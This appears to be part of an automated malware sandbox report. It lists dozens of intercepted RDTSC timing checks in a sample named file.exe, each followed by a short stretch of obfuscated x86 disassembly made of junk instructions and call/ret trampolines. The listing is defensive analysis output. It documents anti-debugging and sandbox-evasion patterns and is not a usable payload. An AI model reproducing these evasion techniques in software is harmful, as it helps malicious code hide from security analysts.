Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A3581 second address: 12A35F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F49C1023918h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov bl, 50h 0x00000026 sbb bx, 23BEh 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F49C1023918h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 mov dword ptr [ebp+122D2970h], edx 0x0000004d push 00000000h 0x0000004f mov di, bx 0x00000052 mov di, 447Ah 0x00000056 xchg eax, esi 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F49C1023921h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A35F0 second address: 12A35F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A0572 second address: 12A0621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1023928h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 jmp 00007F49C102391Fh 0x00000016 popad 0x00000017 nop 0x00000018 movsx ebx, si 0x0000001b push dword ptr fs:[00000000h] 0x00000022 sub dword ptr [ebp+122D3357h], ebx 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F49C1023918h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 jmp 00007F49C1023926h 0x0000004e mov eax, dword ptr [ebp+122D091Dh] 0x00000054 jc 00007F49C102391Bh 0x0000005a and di, 2238h 0x0000005f push FFFFFFFFh 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F49C1023924h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A4512 second address: 12A4517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A4517 second address: 12A4530 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F49C1023916h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007F49C1023918h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A4530 second address: 12A45B7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F49C1336BCFh 0x00000008 jmp 00007F49C1336BC9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 add dword ptr [ebp+1245B434h], ecx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F49C1336BB8h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D18E4h], ecx 0x00000038 jmp 00007F49C1336BC4h 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 mov ebx, dword ptr [ebp+122D2AF8h] 0x00000046 pop ebx 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F49C1336BC4h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A45B7 second address: 12A45BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A547A second address: 12A547F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A547F second address: 12A54DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007F49C1023916h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov ebx, dword ptr [ebp+122D2CE0h] 0x00000013 push 00000000h 0x00000015 mov edi, 72F29DF8h 0x0000001a push 00000000h 0x0000001c clc 0x0000001d xchg eax, esi 0x0000001e jnc 00007F49C102392Dh 0x00000024 push eax 0x00000025 pushad 0x00000026 pushad 0x00000027 jmp 00007F49C1023922h 0x0000002c push edx 0x0000002d pop edx 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 jc 00007F49C1023916h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A54DA second address: 12A54DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A646B second address: 12A6475 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6475 second address: 12A6479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A55CC second address: 12A55E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1023924h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7333 second address: 12A7337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A664E second address: 12A6653 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7337 second address: 12A737E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F49C1336BB8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 or dword ptr [ebp+1248865Ah], edi 0x00000028 push 00000000h 0x0000002a mov ebx, dword ptr [ebp+122D2BF8h] 0x00000030 push 00000000h 0x00000032 je 00007F49C1336BBCh 0x00000038 mov dword ptr [ebp+122D371Fh], ebx 0x0000003e xchg eax, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 pushad 0x00000043 popad 0x00000044 pop eax 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A737E second address: 12A73B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1023929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F49C1023922h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6653 second address: 12A66BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F49C1336BB6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 add dword ptr [ebp+12458EB9h], ecx 0x00000016 push dword ptr fs:[00000000h] 0x0000001d and ebx, 465EF6BAh 0x00000023 mov edi, dword ptr [ebp+122D236Dh] 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 add di, 5E40h 0x00000035 mov eax, dword ptr [ebp+122D1409h] 0x0000003b sbb di, 7AC9h 0x00000040 push FFFFFFFFh 0x00000042 push 00000000h 0x00000044 push eax 0x00000045 call 00007F49C1336BB8h 0x0000004a pop eax 0x0000004b mov dword ptr [esp+04h], eax 0x0000004f add dword ptr [esp+04h], 00000014h 0x00000057 inc eax 0x00000058 push eax 0x00000059 ret 0x0000005a pop eax 0x0000005b ret 0x0000005c mov dword ptr [ebp+122D31EFh], edx 0x00000062 push eax 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A84F8 second address: 12A8507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F49C1023916h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA3B9 second address: 12AA425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D1C60h] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov ebx, edx 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007F49C1336BB8h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 0000001Dh 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a cmc 0x0000003b mov eax, dword ptr [ebp+122D1355h] 0x00000041 mov dword ptr [ebp+122D1C60h], edx 0x00000047 push FFFFFFFFh 0x00000049 mov edi, dword ptr [ebp+122D2D60h] 0x0000004f nop 0x00000050 push eax 0x00000051 push edx 0x00000052 push edx 0x00000053 jmp 00007F49C1336BBDh 0x00000058 pop edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A74A7 second address: 12A74B1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F49C102391Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA425 second address: 12AA42C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD1E9 second address: 12AD1ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD1ED second address: 12AD235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 xor bx, D057h 0x0000000c push 00000000h 0x0000000e add dword ptr [ebp+122D37EDh], edi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F49C1336BB8h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 mov ebx, edx 0x00000032 mov edi, esi 0x00000034 xchg eax, esi 0x00000035 push eax 0x00000036 push edx 0x00000037 push ecx 0x00000038 jc 00007F49C1336BB6h 0x0000003e pop ecx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB3ED second address: 12AB3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB3F1 second address: 12AB3F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE297 second address: 12AE2F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ecx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dword ptr [ebp+1245AD73h], edi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F49C1023918h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov bx, C5BBh 0x00000034 push 00000000h 0x00000036 mov ebx, dword ptr [ebp+122D3215h] 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F49C1023922h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE2F2 second address: 12AE2F7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE2F7 second address: 12AE305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE305 second address: 12AE309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE309 second address: 12AE30F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AE47C second address: 12AE484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2B3F second address: 12B2B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2B44 second address: 12B2B59 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F49C1336BBCh 0x00000008 jns 00007F49C1336BB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8568 second address: 12B856E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7CCD second address: 12B7CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F49C1336BB6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7CDC second address: 12B7CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9AAB second address: 12B9ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 jno 00007F49C1336BBCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9ABB second address: 12B9AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jne 00007F49C1023916h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9AC7 second address: 12B9ACD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE4FE second address: 12BE502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE5AF second address: 12BE5B4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE5B4 second address: 12BE5DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F49C102391Bh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push edx 0x00000013 jng 00007F49C1023916h 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jno 00007F49C1023916h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE6B9 second address: 12BE6C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F49C1336BB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE6C3 second address: 12BE6D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE6D0 second address: 12BE6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F49C1336BB6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE6DD second address: 12BE6F1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jl 00007F49C102391Eh 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12591C2 second address: 12591C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12591C8 second address: 12591CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12591CC second address: 12591E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F49C1336BC1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2363 second address: 12C2367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2367 second address: 12C237F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F49C1336BB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F49C1336BB8h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C237F second address: 12C2389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F49C1023916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2D3B second address: 12C2D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 jnl 00007F49C1336BB6h 0x0000000e jmp 00007F49C1336BBBh 0x00000013 pop eax 0x00000014 jmp 00007F49C1336BC8h 0x00000019 jns 00007F49C1336BC8h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2D89 second address: 12C2D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2D8D second address: 12C2D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C338C second address: 12C33A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F49C1023923h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C33A6 second address: 12C33AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C3560 second address: 12C3564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9C6B second address: 12C9C6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9C6F second address: 12C9C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9C75 second address: 12C9C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9C82 second address: 12C9C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F49C102391Ah 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9C9C second address: 12C9CBB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F49C1336BC9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9CBB second address: 12C9CCC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F49C102391Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D5A8 second address: 124D5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F49C1336BB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D5B4 second address: 124D60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F49C1023927h 0x0000000a push esi 0x0000000b jmp 00007F49C1023927h 0x00000010 jp 00007F49C1023916h 0x00000016 pop esi 0x00000017 jmp 00007F49C1023922h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 js 00007F49C1023916h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D60C second address: 124D614 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D614 second address: 124D619 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D619 second address: 124D61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D61F second address: 124D62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F49C1023916h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124D62E second address: 124D632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129CF1D second address: 129CF28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F49C1023916h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129CF28 second address: 127B394 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F49C1336BB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F49C1336BB8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 jnp 00007F49C1336BB7h 0x0000002b call dword ptr [ebp+122D3209h] 0x00000031 push ecx 0x00000032 jmp 00007F49C1336BBFh 0x00000037 jc 00007F49C1336BD2h 0x0000003d jmp 00007F49C1336BC6h 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D0A5 second address: 129D0AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D0AA second address: 129D0BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F49C1336BB6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
